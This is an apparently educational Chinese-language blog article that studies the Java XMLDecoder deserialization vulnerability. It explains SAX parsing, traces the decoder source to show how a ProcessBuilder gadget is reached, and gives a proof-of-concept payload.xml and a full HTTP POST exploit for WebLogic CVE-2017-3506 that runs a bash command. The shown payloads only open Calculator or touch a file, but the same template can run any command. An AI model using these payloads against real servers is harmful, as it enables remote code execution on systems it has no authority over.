XMLDecoder反序列化漏洞研究

一、XMLDecoder簡介

java.beans.XMLDecoder 是jdk自帶的以SAX方式解析XML的類,主要功能是實現java對象和xml文件之間的轉化:

  • 序列化:將java對象轉換成xml文件
  • 反序列化:把特定格式的xml文件轉換成java對象

下面是一個簡單地demo樣例,

Person.java
package org.example;

public class Person {
    String name = "";
    int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void sayHello(){
        System.out.println("Hello, my name is "+name);
    }
}
XMLDecoderTest.java
package org.example;

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;

public class XMLDecoderTest {
    // 序列化對象到文件person.xml
    public void xmlEncode() throws FileNotFoundException {
        Person person = new Person();
        person.setAge(18);
        person.setName("test");
        XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml")));
        xmlEncoder.writeObject(person);
        xmlEncoder.close();
        System.out.println("序列化結束!");
    }

    // 反序列化
    public void xmlDecode() throws FileNotFoundException {
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml")));
        Person person = (Person)xmlDecoder.readObject();
        xmlDecoder.close();
        person.sayHello();
        System.out.println("反序列化成功!");
    }

    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoderTest xmlTest = new XMLDecoderTest();
        xmlTest.xmlEncode();
        xmlTest.xmlDecode();
    }
}

接下來自己實現一個基於SAX的XML解析。

SAX全稱爲Simple API for XML,在Java中有兩種原生解析xml的方式,分別是SAX和DOM。兩者區別在於:

  • Dom解析功能強大,可增刪改查,操作時會將xml文檔以文檔對象的方式讀取到內存中,因此適用於小文檔
  • Sax解析是從頭到尾逐行逐個元素讀取內容,修改較爲不便,但適用於只讀的大文檔

SAX採用事件驅動的形式來解析xml文檔,即觸發了事件就去做事件對應的回調方法。

在SAX中,讀取到文檔開頭、結尾,元素的開頭和結尾以及編碼轉換等操作時會觸發一些回調方法,你可以在這些回調方法中進行相應事件處理:

  • startDocument()
  • endDocument()
  • startElement()
  • endElement()
  • characters()
package org.example;

import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.File;

public class DemoHandler extends DefaultHandler {
    public static void main(String[] args) {
        SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
        try {
            SAXParser parser = saxParserFactory.newSAXParser();
            DemoHandler dh = new DemoHandler();
            String path = "payload.xml";
            File file = new File(path);
            parser.parse(file, dh);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void characters(char[] ch, int start, int length) throws SAXException {
        System.out.println("characters()");
        super.characters(ch, start, length);
    }

    @Override
    public void startDocument() throws SAXException {
        System.out.println("startDocument()");
        super.startDocument();
    }

    @Override
    public void endDocument() throws SAXException {
        System.out.println("endDocument()");
        super.endDocument();
    }

    @Override
    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        System.out.println("startElement()");
        for (int i = 0; i < attributes.getLength(); i++) {
            // getQName()是獲取屬性名稱,
            System.out.print(attributes.getQName(i) + "=" + attributes.getValue(i) + "n");
        }
        super.startElement(uri, localName, qName, attributes);
    }

    @Override
    public void endElement(String uri, String localName, String qName) throws SAXException {
        System.out.println("endElement()");
        System.out.println(uri + localName + qName);
        super.endElement(uri, localName, qName);
    }
}

可以看到,我們通過繼承SAX的DefaultHandler類,重寫其事件方法,就能拿到XML對應的節點、屬性和值。

XMLDecoder也是基於SAX實現的xml解析,不過他拿到節點、屬性、值之後通過Expression創建對象及調用方法。XMLEncoder使用反射來找出它們包含哪些字段,但不是以二進制形式編寫這些字段,而是以 XML 編寫。 待編碼的對象不需要是可序列化的,但是它們確實需要遵循 Java Beans 規範,例如

  • 該對象具有一個公共的空(無參數)構造器
  • 該對象具有每個受保護/私有財產的公共獲取器和設置器

參考鏈接: 

https://kancloud.cn/apachecn/howtodoinjava-zh/1952934 

 

二、XMLDecoder反序列化漏洞原理

概括來說,XMLDecoder產生漏洞的原因主要有以下幾個關鍵因素:

  • XMLDecoder是java自帶的以SAX方式解析xml的類,其在反序列化經過特殊構造的XML數據可以覆蓋對應Beans成員值,這給構造gadget產生了可能。
  • XMLDecoder使用反射來動態生成Beans,這給觸發gadget產生了可能。

以上兩個條件同時都具備,使得XMLDecoder產生遠程代碼執行漏洞的攻擊面。

在Weblogic中由於多個包wls-wast、wls9_async_response war、_async使用了該類進行反序列化操作,導致出現了了多個高位RCE漏洞。

0x1:漏洞復現

payload.xml

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>
            </void>
        </array>
        <void method="start">
        </void>
    </object>
</java>

poc.java

package org.example;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;

public class poc {
    public static void main(String[] args) throws Exception {
        File file=new File("payload.xml");
        FileInputStream fileInputStream=new FileInputStream(file);
        BufferedInputStream bufferedInputStream=new BufferedInputStream(fileInputStream);
        XMLDecoder xmlDecoder=new XMLDecoder(bufferedInputStream);
        xmlDecoder.readObject();
        xmlDecoder.close();
    }
}

0x2:漏洞源碼跟蹤

在java.lang.ProcessBuilder#start打斷點,堆棧如下,

可以看到,堆棧入口是從readObject()觸發的,我們從頭開始跟蹤。

XMLDecoder跟進readObject(),

跟進parsingComplete(),

其中使用XMLDecoder的handler屬性DocumentHandler的parse方法,並且傳入了我們輸入的xml數據,

進入com.sun.beans.decoder.DocumentHandler#parse,

這裏的代碼其實和我們寫的DemoHandler裏一模一樣,通過SAXParserFactory工廠創建了實例,進而newSAXParser拿到SAX解析器,調用parse解析,那麼接下來解析的過程,我們只需要關注DocumentHandler的幾個事件函數就行了。 

在DocumentHandler的構造函數中指定了可用的標籤類型,

對應了com.sun.beans.decoder包中的幾個類,

在startElement中首先解析java標籤,然後設置Owner和Parent,

this.getElementHandler(var3)對應的就是從構造方法中放入this.handlers的hashmap取出對應的值,如果不是構造方法中的標籤,會拋出異常。

然後解析object標籤,拿到屬性之後通過addAttribute()設置屬性,

在addAttribute()沒有對class屬性進行處理,拋給了父類com.sun.beans.decoder.NewElementHandler#addAttribute,

會通過findClass()去尋找java.lang.ProcessBuilder類,

通過classloader尋找類賦值給type,

賦值完之後跳出for循環進入this.handler.startElement(),不滿足條件,

接下來解析array標籤,同樣使用addAttribute對屬性賦值,

同樣拋給父類com.sun.beans.decoder.NewElementHandler#addAttribute處理,

接下來繼續設置length屬性, 

最後進入com.sun.beans.decoder.ArrayElementHandler#startElement,

因爲ArrayElementHandler類沒有0個參數的getValueObject()重載方法,但是它繼承了NewElementHandler,所以調用com.sun.beans.decoder.NewElementHandler#getValueObject(),

這個getValueObject重新調用ArrayElementHandler#getValueObject兩個參數的重載方法,

ValueObjectImpl.create(Array.newInstance(var1, this.length))創建了長度爲1、類型爲String的數組並返回,到此處理完array標籤。

接着處理void,創建VoidElementHandler,設置setOwner和setParent。

調用父類com.sun.beans.decoder.ObjectElementHandler#addAttribute設置index屬性,

繼續解析string標籤,不再贅述。

解析完所有的開始標籤之後,開始解析閉合標籤,最開始就是,進入到endElement()。

StringElementHandler沒有endElement(),調用父類ElementHandler的endElement(),

調用本類的getValueObject(), 

設置value爲/System/Applications/Calculator.app/Contents/MacOS/Calculator,

接着閉合void,

閉合array,

然後開始解析<void method="start"/>

通過父類的addAttribute將this.method賦值爲start,

隨後閉合void標籤,

調用endElement,VoidElementHandler類沒有,所以調用父類ObjectElementHandler.endElement,

調用NewElementHandler類無參getValueObject,

然後調用VoidElementHandler類有參getValueObject,但是VoidElementHandler沒有這個方法,所以調用VoidElementHandler父類ObjectElementHandler的有參getValueObject。

跟進Object var3 = this.getContextBean(),因爲本類沒有getContextBean(),所以調用父類NewElementHandler的getContextBean(),

繼續調用NewElementHandler父類ElementHandler的getContextBean(),

會調用this.parent.getValueObject()也就是ObjectElementHandler類,而ObjectElementHandler沒有無參getValueObject()方法,會調用其父類NewElementHandler的方法,

最終var3的值爲java.lang.ProcessBuilder,var4的值爲start,var5的值爲/System/Applications/Calculator.app/Contents/MacOS/Calculator,

通過Expression的getValue()方法反射調用start,執行指令。

也就相當於最後拼接了一個表達式:new java.lang.ProcessBuilder(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).start();

XMLDecoder採用Expression對節點的value進行動態獲取,而Expression是可以獲取返回值的,這是能夠漏洞利用成功的一個關鍵點之一。舉個例子,

User.java
package org.example;

public class User {
    private int id;
    private String name;

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", name='" + name + "'" +
        '}';
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String sayHello(String name) {
        return String.format("你好 %s!", name);
    }
}
TestMain.java
package org.example;

import org.example.User;

import java.beans.Expression;
import java.beans.Statement;

public class TestMain {
    public static void main(String[] args) {
        testStatement();
        testExpression();
    }

    public static void testStatement() {
        try {
            User user = new User();
            Statement statement = new Statement(user, "setName", new Object[]{"張三"});
            statement.execute();
            System.out.println(user.getName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void testExpression() {
        try {
            User user = new User();
            Expression expression = new Expression(user, "sayHello", new Object[]{"小明"});
            expression.execute();
            System.out.println(expression.getValue());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到,Expression是可以獲得返回值的,方法是getValue()。Statement不能獲得返回值。 

總結一下,

XMLDecoder導致漏洞的原因就在於處理節點的時候,信任了外部輸入的XML指定節點類型信息(class類型節點),同時在進行節點Expression動態實例化的時候(通過invoke實現set()方法),允許節點屬性由XML任意控制(本例中是new java.lang.ProcessBuilder、和new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),導致Expression的set()方法被重載爲風險函數(本例中是start)。Expression動態解析因爲Java反射特性實現了代碼執行。

參考鏈接:

https://www.chabug.org/audit/1425 
https://blog.csdn.net/qq_38154820/article/details/108138810
https://github.com/mhaskar/XMLDecoder-payload-generator/blob/main/XMLDecoder-payload-generator.py
https://www.cnblogs.com/0x28/p/14391641.html
https://www.shijiyin.com/archives/487334 
https://www.kancloud.cn/apachecn/howtodoinjava-zh/1952934

 

三、真實CVE漏洞案例

0x1:CVE-2017-3506

POST包,

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.248.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 605
Origin: http://192.168.248.128:7001
Connection: close
Referer: http://192.168.248.128:7001/wls-wsat/CoordinatorPortType
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/CVE-2017-3506</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

參考鏈接:

https://sp4zcmd.github.io/2021/09/30/XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章